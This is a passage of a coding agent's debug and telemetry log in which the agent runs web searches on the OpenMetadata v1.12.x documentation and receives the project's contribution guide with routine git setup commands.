auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:03:01.079Z] [INFO] \n[2026-07-12T04:03:01.178Z] [INFO] 2026-07-12T04:03:01.176372Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:01.178Z] [INFO] 2026-07-12T04:03:01.176488Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:01 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"abc3d8b0-6465-45b7-8855-e7194a6a932a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=WEbODHRgm8CkBYQcvXJZlgNWLNF0WoN1GPpInVnng3gzAQoOwQ9uFiQHtAOpQ0PxBS5h3dOdSD5R7qM8%2FEUsIk18BSvBSUe61Dwww5OyhpICDEhqj%2BqAltTyY92O\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27db291e1e45-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:01.178Z] [INFO] \n[2026-07-12T04:03:01.242Z] [INFO] 2026-07-12T04:03:01.236572Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:01.242Z] [INFO] \n[2026-07-12T04:03:01.285Z] [INFO] 2026-07-12T04:03:01.276098Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:01.285Z] [INFO] \n[2026-07-12T04:03:01.314Z] [INFO] 2026-07-12T04:03:01.313231Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:01.314Z] [INFO] \n[2026-07-12T04:03:01.371Z] [INFO] 2026-07-12T04:03:01.370612Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:01.371Z] [INFO] \n[2026-07-12T04:03:01.586Z] [INFO] 2026-07-12T04:03:01.576983Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:01.586Z] [INFO] 2026-07-12T04:03:01.577085Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:01 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"6a052061-d7f6-49bf-bc13-dc347bb48961\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=%2BEXTIiDIy%2F1gpcVrSzX4Y5jIbgn%2FEt%2BW%2BBv1SBtOhH4sTWjIwayS%2FdvT4snnSdHEfLlxfLA431zAVI3QUUjy6amYGenxZBT%2BcSLrhsTOA2cZp9mV5HR7NHC0J6lp\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27dddf01dc56-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:01.586Z] [INFO] \n[2026-07-12T04:03:01.977Z] [INFO] 2026-07-12T04:03:01.966149Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:01.977Z] [INFO] \n[2026-07-12T04:03:02.012Z] [INFO] 2026-07-12T04:03:02.011881Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:02.012Z] [INFO] \n[2026-07-12T04:03:02.016Z] [INFO] 2026-07-12T04:03:02.013624Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:02.016Z] [INFO] \n[2026-07-12T04:03:02.026Z] [INFO] 2026-07-12T04:03:02.021553Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:02.026Z] [INFO] \n[2026-07-12T04:03:02.285Z] [INFO] 2026-07-12T04:03:02.283412Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:02.285Z] [INFO] 2026-07-12T04:03:02.283552Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:02 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"f27b3e97-b267-4431-b680-fc5937583656\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=JU7IDjWWLGgTMnOzu5KxfmuMy5NoBSBr7lh8pxBIbFQ3Cm7yJBWGTY69SMxfwYCoRymdNKvsXZFsF6nI1rep7QozWc%2F1kxSWwAYsLOrWVZ%2B%2Bp65Cs0tPwpbVPI3h\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27e1cd10e854-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:02.285Z] [INFO] \n[2026-07-12T04:03:04.442Z] [INFO] 2026-07-12T04:03:04.441828Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311f86da8819191293cf343d95bf0\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxH4TLpsQLh_qBhz-WvSj51NZ9XevHl0FN3mQwe8kZFy78Qr_P4S2XQB2N45bEuTT2fZYrLatOEdN2lmjAtFj0NleSQJppEL1edt6_oJYSR5QRi8uVAMobpfOVC2_FVNOySDbZa6bGcfm7uv9K8m4Rzl_l1OzFPvTkHSl7_-e7Im3y-PLkuFRwXEVc5ifKm09p8-go0i3a5JjzNEf69KXqLej9j8PpA7C_zQ9aIuVk3tL2NENaCJJ2NE46s0O5wKqCFtBYkyHmRWL8AIXPmTl6vgsgX0kw0piHfP57bfut8fD_Ny3a-JkocCpXl8viyyS6QuAPXoguu9f6AG-W7jt5UYYQOJ0PpdA5EniXO-ZEKnDHZVNMFrcZCjzX72AFMJqCGcm8-osvfIY_WWYZxNiFaO97RZ1QYxwNpKsWBLFy3CglXZn8MUtbOmrp4zLO60tqtMOu7ClMEYEqLGfxeTJ-ts3dT4jHmGCtqb4TPEOTrTh8jFAhwgmHxKIeHr3rd8nt2DjDhTNWLvgHMCYmme8c0sKQY6QagkGFfQy7LwKPOkylNm66GH30D7y4jvk8P2OfzP596Sr82ouJap7Ldo0XDY8l8W-VWEVqGT0oPal581b7aS1IpA3an8GEYl4RbtLbqdnHRlB8tMVWlVtIta_teaQE0-H4qSVyUo96e3RbJ7wlXVdhGxIZqXq3C9wPMaov9tsalGo9LXolQMsaUxhvLqhJsnK8At5-oTdFji8wRg_3hU6InhxvA8DfxZfbmj0JnVuK8nLVCIczXjgi-JAdkS3VWAeJ0Le4Pd50LwnaQGylmWxHV-HaJc5DguXXc20B8-Cz0uly7C4h0VdOTt8_GtFnh9gfDTHc-rSJ7IRRikh_XnVkQAgQvPhL2jE-sj46KUTwubfWiO5h0tGMHOvbQvGw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:04.442Z] [INFO] \n[2026-07-12T04:03:04.765Z] [INFO] 2026-07-12T04:03:04.764485Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311f86da8819191293cf343d95bf0\"), summary: [SummaryText { text: \"**Planning documentation structure and data collection**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxH4sb-0tTYx-7qv6GPC4TEm4PhrMoUXBc-wQxzYxtkTO8SbALzUtkucNxLVz5HHv9jQe3JP4i3AJv-Inygt1TPkz1aWFHKQ7fnhALcZ9IYz0G5imjC68lT6S3JLjRtSSAyE_dJN5ZsTPGKVCxV3i8wRLfMjJCPgY-LA_GSs6MXwXFZPCxJHQm4ZQw8Nv_488u70qhTn6m3tQyszYOF2lCmVdqbDyss-w5xz4sq7t5kxf94DTzOlP5BmgFiLhXqE5Lo1sJmi4oqLxBAiPqL_QZquNo3A0FeIQM0LiyyFcFPPablkHWYdz4ivEw3JTA6QD9uI-l0806d5991TkwUhLw56fjSkDGpRNKaIu9Qwux0uM9JWb6AtDTf6-zvbdlUgNtBL5nBxhaHNH3YG5EQ57Q1EkGIqEKYgUd86nXsXxPe6qQ9qKExUjyzVFyEI-uDZtWdKkdO6RiykqYIdYOjLiBOKaZ_D2f5gDUXM7hCrNdThH10dolsUpZfQ7sOb829URl8QEilkRtaChmhUXmKMpZzjPbxchVkvhbeS-CsmJ8gJuXV6lrVT0-s-f0KX0O75-FPRktRF8XsMFVAJjvuy_IjRffSuVPQYtLoMl7DBhiYdyAcpMjuIUgHwrwUJVLf1rIO2WvMOXOdmcaHlS_qsICr8zqIns1KOwIIHQ9Ko-j9-vqNaoXvLtdEO8Tq5h6GZ-FB-S8MUAKOEfaEL6K1H27mTFWj1jW1tBLYojBhfJRn7MQRUU1TqK7DlBNrrwFrArwyDFJwJTvK9npZ_4oxPK6cUS5pCP7FltozSSdN4ynb_biFX1dyNMzCfF6YPxirMtG72Phg5-9VCPFeZGOvQne_uXVa9zVKGETYCKtrdeKF_PERaaEnS0stQDp29nT4r7j_L4Pt3Qsd6RxHL5gVyHX8x6z_QKuO-cyXuaTbrh3tJPrE6gB-F88KkfiH0QmLU489yopeXVrFziG9WFFrdS1ADLmf0wV6T1vkT2F1OF57lJ1pryoEh8fNdzOQmp-IMkJdq486O5ZC14xf9E9dsdfjkJ2eZ04riSE8lrnkfW1m5wQnbLqrriNanJ-2tiLbypE32IU75fAdXNhDOknkqRnEzZzRMBu_t5aswJG0Y6SD8r0U74XxJSynbiXR5S1tY6u8jstpYfmQQ6R5BM9fsBWGpeFKM-5-VdDD8Lac3Zy8bWEumM2Q_MK4TuIC6QcHQG2FQofdG_Kqbn2R5k15x3P0e2VKekHswoJEhkNMTA_8cMlWKWNUNvnTPzBfRoausGNsjf96XUJZZEvJtbNqLNmayY7lwqaiHbxGJazHBmboPf-m8Nsm1wBF6mMwdVHxnOlZYLNrVLey_6dUAdJuWVzoxyU0soxpHMQGHZvuedbTxDtRfiiy2DyyUR4JJ3fJK5DNVHMZgMtByX00vTOi4U8L36R-gMJ0X9GlF7nELVxZQqIHj2Xs5bJBIV9rwyjuZSxYj\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:04.765Z] [INFO] \n[2026-07-12T04:03:04.790Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_24\",\"type\":\"reasoning\",\"text\":\"**Planning documentation structure and data collection**\"}}\n[2026-07-12T04:03:04.790Z] [INFO] \n[2026-07-12T04:03:04.796Z] [INFO] 2026-07-12T04:03:04.773525Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311f8bfb0819196cbcef87d0404e4\"), status: Some(\"in_progress\"), call_id: \"call_Zv4eFOYqwWfWrNbol0wvgym6\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:04.796Z] [INFO] \n[2026-07-12T04:03:07.598Z] [INFO] 2026-07-12T04:03:07.597367Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r = await tools.web__run({search_query:[\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\"},\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\"},\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\"},\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"}\n[2026-07-12T04:03:07.598Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:03:07.598Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:03:07.598Z] [INFO] \n[2026-07-12T04:03:07.613Z] [INFO] 2026-07-12T04:03:07.611530Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311f521f48191ae1e702e306ee405\"\n[2026-07-12T04:03:07.613Z] [INFO] 2026-07-12T04:03:07.611597Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=42123 output_token_count=212 cached_token_count=31488 reasoning_token_count=74 tool_token_count=42335 ttft_ms=3370 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:03:07.611Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:07.613Z] [INFO] 2026-07-12T04:03:07.611631Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=42123 output_token_count=212 cached_token_count=31488 reasoning_token_count=74 tool_token_count=42335 ttft_ms=3370 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:03:07.611Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:07.613Z] [INFO] \n[2026-07-12T04:03:07.706Z] [INFO] 2026-07-12T04:03:07.704773Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:07.706Z] [INFO] \n[2026-07-12T04:03:07.722Z] [INFO] 2026-07-12T04:03:07.722239Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:07.722Z] [INFO] \n[2026-07-12T04:03:07.724Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_25\",\"type\":\"web_search\",\"id\":\"exec-e3175713-07a2-4863-93da-1718638b5014\",\"query\":\"\",\"action\":{\"type\":\"other\"}}}\n[2026-07-12T04:03:07.724Z] [INFO] \n[2026-07-12T04:03:07.731Z] [INFO] 2026-07-12T04:03:07.727458Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:07.731Z] [INFO] \n[2026-07-12T04:03:07.736Z] [INFO] 2026-07-12T04:03:07.736188Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:07.736Z] [INFO] \n[2026-07-12T04:03:08.969Z] [INFO] 2026-07-12T04:03:08.968806Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/alpha/search status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:08 GMT\", \"content-type\": \"application/json\", \"content-length\": \"95530\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"6b309187-0a5a-4aed-afbf-a4ec23987e96\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=Gc%2Fhw2X%2Bv%2Fu3iVXaNDHJQ9QZn0qv3mB785vDdatpkxNjnznHX2i%2BS60LwJRAL34jLcRS6ln7Um8AHlHEVd32G7%2BxPgm3%2FrLrvMgTfvWG%2BUM107Kno%2Bk0oHKhP9Hj\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d28059ff1c46a-CDG\"} version=HTTP/1.1\n[2026-07-12T04:03:08.969Z] [INFO] \n[2026-07-12T04:03:08.983Z] [INFO] 2026-07-12T04:03:08.982703Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:08.983Z] [INFO] \n[2026-07-12T04:03:08.998Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_25\",\"type\":\"web_search\",\"id\":\"exec-e3175713-07a2-4863-93da-1718638b5014\",\"query\":\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing ...\",\"action\":{\"type\":\"search\",\"queries\":[\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\",\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\",\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\",\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"]}}}\n[2026-07-12T04:03:08.998Z] [INFO] \n[2026-07-12T04:03:09.004Z] [INFO] 2026-07-12T04:03:08.996707Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-e3175713-07a2-4863-93da-1718638b5014 arguments={\"search_query\":[{\"q\":\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\"},{\"q\":\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\"},{\"q\":\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\"},{\"q\":\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"}],\"response_length\":\"long\"} duration_ms=1329 success=true output=[standalone web search output] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:08.996Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.004Z] [INFO] 2026-07-12T04:03:08.996743Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-e3175713-07a2-4863-93da-1718638b5014 duration_ms=1329 success=true arguments_length=518 output_length=30 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:08.996Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.004Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] 2026-07-12T04:03:09.033060Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Zv4eFOYqwWfWrNbol0wvgym6 arguments=const r = await tools.web__run({search_query:[\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\"},\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\"},\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\"},\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"}\n[2026-07-12T04:03:09.035Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:03:09.035Z] [INFO]  duration_ms=1405 success=true output=Script completed\n[2026-07-12T04:03:09.035Z] [INFO] Wall time 1.4 seconds\n[2026-07-12T04:03:09.035Z] [INFO] Output:\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] How to Contribute Code | Open Source Contribution Guide - OpenMetadata Documentation (https://docs.open-metadata.org/v1.12.x/developers/contribute)\n[2026-07-12T04:03:09.035Z] [INFO] \ue200cite\ue202turn1search0\ue201 [wordlim: 200] Crawled: 2 months ago; # How to Contribute Code | Open Source Contribution Guide ... > Fetch the complete documentation index at: https://docs.open-metadata.org/llms.txt ... > Use this file to discover all available pages before exploring further. ... Set a new remote repository that points to the OpenMetadata repository to pull changes from the open-source OpenMetadata codebase into your clone ...     git remote -v\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] # How to Contribute Code | Open Source Contribution Guide\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Understand contribution guidelines for participating in the platform\u2019s development and submitting changes.\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] > ## Documentation Index\n[2026-07-12T04:03:09.035Z] [INFO] > \n[2026-07-12T04:03:09.035Z] [INFO] > Fetch the complete documentation index at: https://docs.open-metadata.org/llms.txt\n[2026-07-12T04:03:09.035Z] [INFO] > \n[2026-07-12T04:03:09.035Z] [INFO] > Use this file to discover all available pages before exploring further.\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] How to Contribute\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Welcome to OpenMetadata. Our goal is to build an Open standard for Metadata. We genuinely believe this mission can only be achieved through building a great community. We \u2764\ufe0f all contributions, big and small!\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] ## \n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] \u200b\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] GitHub issues\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Look for issues under GitHub/issues tab. If you have a feature request or found a bug please file an issue. This will help us track and will help the community overall as well. Image: GitHub issues\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] ## \n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] \u200b\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Fork GitHub project\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] OpenMetadata GitHub repository can be accessed here https://github.com/open-metadata/OpenMetadata. Image: Fork GitHub project Create a local clone of your fork\n[2026-07-12T04:03:09.035Z] [INFO]     \n[2026-07-12T04:03:09.035Z] [INFO]     `git clone https://github.com//OpenMetadata.git\n[2026-07-12T04:03:09.035Z] [INFO]     `\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Set a new remote repository that points to the OpenMetadata repository to pull changes from the open-source OpenMetadata codebase into your clone\n[2026-07-12T04:03:09.035Z] [INFO]     \n[2026-07-12T04:03:09.035Z] [INFO]     `cd OpenMetadata/\n[2026-07-12T04:03:09.035Z] [INFO]     git remote add upstream https://github.com/open-metadata/OpenMetadata.git\n[2026-07-12T04:03:09.035Z] [INFO]     git remote -v\n[2026-07-12T04:03:09.035Z] [INFO]     `\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Create a branch in your fork\n[2026-07-12T04:03:09.035Z] [INFO]    \n[2026-07-12T04:03:09.035Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:09.033Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.035Z] [INFO] 2026-07-12T04:03:09.033133Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Zv4eFOYqwWfWrNbol0wvgym6 duration_ms=1405 success=true arguments_length=558 output_length=2086 output_line_count=50 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:09.033Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.035Z] [INFO] 2026-07-12T04:03:09.033222Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 